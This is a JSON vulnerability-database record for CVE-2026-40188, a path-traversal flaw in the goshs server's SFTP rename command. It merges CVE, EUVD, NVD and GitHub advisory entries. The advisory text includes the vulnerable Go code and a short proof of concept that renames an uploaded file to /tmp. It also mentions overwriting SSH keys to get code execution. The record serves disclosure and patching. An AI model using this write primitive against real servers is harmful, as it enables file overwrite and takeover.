{"id":"EUVD-2026-21589","revision":null,"records":[{"revision":"f410e2f547b3412bb3efc733d00cad60","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-40188","aliases":[],"title":"goshs is Missing Write Protection for Parametric Data Values","description":"goshs is a SimpleHTTPServer written in Go. From 1.0.7 to before 2.0.0-beta.4, the SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. This vulnerability is fixed in 2.0.0-beta.4.","state":0,"publishedAt":"2026-04-10T19:43:45.197+00:00","modifiedAt":"2026-04-13T15:35:32.574+00:00","affected":[{"ecosystem":"Vendor product","name":"goshs","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"patrickhener\",\n                    \"product\": \"goshs\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 1.0.7, < 2.0.0-beta.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N","score":7.7,"severity":"HIGH"}],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-2943-crp8-38xx","https://github.com/patrickhener/goshs/commit/141c188ce270ffbec087844a50e5e695b7da7744","https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-40188","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-40188","identifiers":["CVE-2026-40188"]},"retained":false,"historicalAffected":[]},{"revision":"a179041fdf3f4edf85a05afd08b9f120","observedAt":"2026-10-28T05:01:16.461+00:00","statement":{"source":"euvd","id":"EUVD-2026-21589","aliases":["CVE-2026-40188","GHSA-2943-crp8-38xx"],"title":"goshs is a SimpleHTTPServer written in Go. From 1.0.7 to before 2.0.0-beta.4, the SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. This vulnera…","description":"goshs is a SimpleHTTPServer written in Go. From 1.0.7 to before 2.0.0-beta.4, the SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. This vulnerability is fixed in 2.0.0-beta.4.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N","score":7.7,"severity":null}],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-2943-crp8-38xx","https://github.com/patrickhener/goshs/commit/141c188ce270ffbec087844a50e5e695b7da7744","https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-21589","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 10, 2026, 7:43:45 PM","dateUpdated":"Apr 13, 2026, 3:35:32 PM"},"relatedAdvisories":[{"id":"openSUSE-SU-2026:10542-1","title":"goshs-2.0.0-1.1 on GA media","vulnerabilityIds":["CVE-2026-35392","CVE-2026-35393","CVE-2026-35471","CVE-2026-40188","CVE-2026-40189"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-21589","identifiers":["EUVD-2026-21589","CVE-2026-40188","GHSA-2943-crp8-38xx"]},"retained":false,"historicalAffected":[]},{"revision":"649d8b57b68a4be8861ea003308b116d","observedAt":"2026-10-27T10:09:56.341+00:00","statement":{"source":"nvd","id":"CVE-2026-40188","aliases":[],"title":"goshs is a SimpleHTTPServer written in Go. From 1.0.7 to before 2.0.0-beta.4, the SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. This vulnera…","description":"goshs is a SimpleHTTPServer written in Go. From 1.0.7 to before 2.0.0-beta.4, the SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. This vulnerability is fixed in 2.0.0-beta.4.","state":0,"publishedAt":"2026-04-10T20:16:23.733+00:00","modifiedAt":"2026-10-26T21:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N","score":7.7,"severity":"HIGH"}],"references":["https://github.com/patrickhener/goshs/commit/141c188ce270ffbec087844a50e5e695b7da7744","https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4","https://github.com/patrickhener/goshs/security/advisories/GHSA-2943-crp8-38xx"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40188","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-1314"],"productCriteria":["cpe:2.3:a:goshs:goshs:*:*:*:*:*:go:*:*","cpe:2.3:a:goshs:goshs:2.0.0:beta1:*:*:*:go:*:*","cpe:2.3:a:goshs:goshs:2.0.0:beta2:*:*:*:go:*:*","cpe:2.3:a:goshs:goshs:2.0.0:beta3:*:*:*:go:*:*"],"sourceDates":{"published":"2026-04-10T20:16:23.733","lastModified":"2026-10-26T21:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-40188","identifiers":["CVE-2026-40188"]},"retained":false,"historicalAffected":[]},{"revision":"d3f986c77a6d4dc3ae315e5bc2eab49f","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-2943-crp8-38xx","aliases":["CVE-2026-40188","GO-2026-4953"],"title":"goshs is Missing Write Protection for Parametric Data Values","description":"### Summary\nThe SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. \n\n### Details\n\nHere is the issue:\n```go\n// helper.go:155-215\nfunc cmdFile(root string, r *sftp.Request, ip string, sftpServer *SFTPServer) error {\n    fullPath, err := sanitizePath(r.Filepath, root)  // Source: SANITIZED\n    if err != nil {\n        return err\n    }\n    switch r.Method {\n    // ...\n    case \"Rename\":\n        err := os.Rename(fullPath, r.Target)  // Destination: NOT SANITIZED!\n```\n\n\n### PoC\n\nTo exploit just upload a file on the SFTP and rename it to a file with full path. \n\nCurrently no key.txt file inside /tmp\n\n``` bash\n$ ls key.txt\nls: key.txt: No such file or directory\n```\n\n\nStart the SFTP server:\n``` bash\n/tmp/sftp-server $ goshs -sftp -b 'user:user' -d .\nWARNING[2026-04-02 20:00:18] upload-folder mode deactivated due to use of 'sftp' mode\nWARNING[2026-04-02 20:00:18] There is a newer Version (v2.0.0-beta.3) of goshs available. Run --update to update goshs.\nINFO   [2026-04-02 20:00:18] Starting SFTP server on port 0.0.0.0:2022\nWARNING[2026-04-02 20:00:18] You are using basic auth without SSL. Your credentials will be transferred in cleartext. Consider using -s, too.\nINFO   [2026-04-02 20:00:18] Using basic auth with user 'user' and password 'user'\nINFO   [2026-04-02 20:00:18] Download embedded file at: /example.txt?embedded\nINFO   [2026-04-02 20:00:18] Serving on interface lo0 bound to 127.0.0.1:8000\nINFO   [2026-04-02 20:00:18] Serving on interface en0 bound to 192.168.68.51:8000\nINFO   [2026-04-02 20:00:18] Serving HTTP from /tmp/sftp-server\n```\n\nConnect to the SFTP and uploading the file:\n``` bash\n$ sftp -P 2022 user@localhost\nuser@localhost's password:\nConnected to localhost.\nsftp> put /Users/user/Downloads/key.txt\nUploading /Users/user/Downloads/key.txt to /tmp/sftp-server/key.txt\nkey.txt                                                                                                                                                   100%   15    40.9KB/s   00:00\n```\n\nThe file is stored properly. \n\ngoshs log:\n```\nINFO   [2026-04-02 20:03:31] SFTP: [::1]:61742 - [Put] - \"/tmp/sftp-server/key.txt\"\n```\n\nRename command with full path:\n``` bash\nsftp> rename key.txt /tmp/key.txt\n```\n\ngoshs log:\n```\nINFO   [2026-04-02 20:04:09] SFTP: [::1]:61742 - [Rename] - \"/tmp/sftp-server/key.txt to /tmp/key.txt\"\n```\n\nKey file is now in /tmp\n```\n$ ls key.txt\nkey.txt\n```\n\n\n### Impact\nThis allows file write and can be used either for an RCE in form of overwrite an SSH key, or by overwriting a configuration etc.","state":0,"publishedAt":"2026-04-10T20:00:28+00:00","modifiedAt":"2026-06-08T20:08:46+00:00","affected":[{"ecosystem":"Go","name":"github.com/patrickhener/goshs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.0.7"},{"kind":"last_affected","version":"1.1.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-2943-crp8-38xx","https://nvd.nist.gov/vuln/detail/CVE-2026-40188","https://github.com/patrickhener/goshs/commit/141c188ce270ffbec087844a50e5e695b7da7744","https://github.com/patrickhener/goshs","https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4"],"sourceUrl":"https://github.com/advisories/GHSA-2943-crp8-38xx","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-2943-crp8-38xx","identifiers":["GHSA-2943-crp8-38xx","CVE-2026-40188","GO-2026-4953"]},"retained":false,"historicalAffected":[]},{"revision":"5038b3f214ab452c83cdd415a44e91c1","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-4953","aliases":["CVE-2026-40188","GHSA-2943-crp8-38xx"],"title":"goshs is Missing Write Protection for Parametric Data Values in github.com/patrickhener/goshs","description":"goshs is Missing Write Protection for Parametric Data Values in github.com/patrickhener/goshs","state":0,"publishedAt":"2026-05-20T19:07:16+00:00","modifiedAt":"2026-05-20T19:30:11.5335781+00:00","affected":[{"ecosystem":"Go","name":"github.com/patrickhener/goshs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.0.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-2943-crp8-38xx","https://nvd.nist.gov/vuln/detail/CVE-2026-40188","https://github.com/patrickhener/goshs/commit/141c188ce270ffbec087844a50e5e695b7da7744","https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-4953","license":"OSV · upstream source license applies","key":"osv:GO-2026-4953","identifiers":["GO-2026-4953","CVE-2026-40188","GHSA-2943-crp8-38xx"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-30T01:48:55.4491357+00:00","complete":true,"records":1764,"lastAttemptAt":"2026-10-30T01:48:55.4491357+00:00","lastSuccessAt":"2026-10-30T01:48:55.6546169+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.6546176+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7e2c4e7288f2c464ad8c61f3bb6017374714faedcc781283ac06a706ee1a820b-8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85","complete":true,"records":416807,"lastAttemptAt":"2026-10-30T01:48:54.7743429+00:00","lastSuccessAt":"2026-10-30T00:54:38.6858592+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:54.7743429+00:00","snapshotPublishedAt":"2026-10-30T01:29:33+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-824f5092797940c08129032fcab8f0dd","complete":false,"records":13504,"lastAttemptAt":"2026-10-30T02:01:05.0861472+00:00","lastSuccessAt":"2026-10-30T02:01:05.08+00:00","error":"9 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-10-30T02:01:05.08+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13547,"expectedIdentifiers":13587,"failedIdentifiers":9},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-30T01:48:55.4491357+00:00","complete":true,"records":1094,"lastAttemptAt":"2026-10-30T01:48:55.4491357+00:00","lastSuccessAt":"2026-10-30T01:48:55.6554576+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.6554578+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c39f89b50d5243318487ad216daf7ffb","complete":true,"records":13527,"lastAttemptAt":"2026-10-30T01:48:56.2261206+00:00","lastSuccessAt":"2026-10-29T22:50:37.74+00:00","error":null,"lastVerifiedAt":"2026-10-29T22:50:37.74+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13587,"expectedIdentifiers":13587,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-9016081e9e88f5929902343d85df87c5c4a1486b10ab07bc6c4f53f98f358871","complete":true,"records":9806,"lastAttemptAt":"2026-10-30T01:48:55.2317852+00:00","lastSuccessAt":"2026-10-29T17:17:25.9359141+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.2317852+00:00","snapshotPublishedAt":"2026-10-29T16:48:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-10-30T01:48:54.9356382+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:54.9356382+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-5221f6b645588be0464ab0e16e8adfe42d1ccd8f841048d2bd4d0c1cf79fd6b1","complete":true,"records":3014,"lastAttemptAt":"2026-10-30T01:48:55.4168216+00:00","lastSuccessAt":"2026-10-30T00:54:54.6624163+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.4168216+00:00","snapshotPublishedAt":"2026-10-30T00:48:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ec5b13e78c39945726a720832da7660d2774969f16e2a34f99460c135811abd5","complete":true,"records":230948,"lastAttemptAt":"2026-10-30T01:48:55.0481567+00:00","lastSuccessAt":"2026-10-29T22:50:35.0693267+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.0481567+00:00","snapshotPublishedAt":"2026-10-29T22:33:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}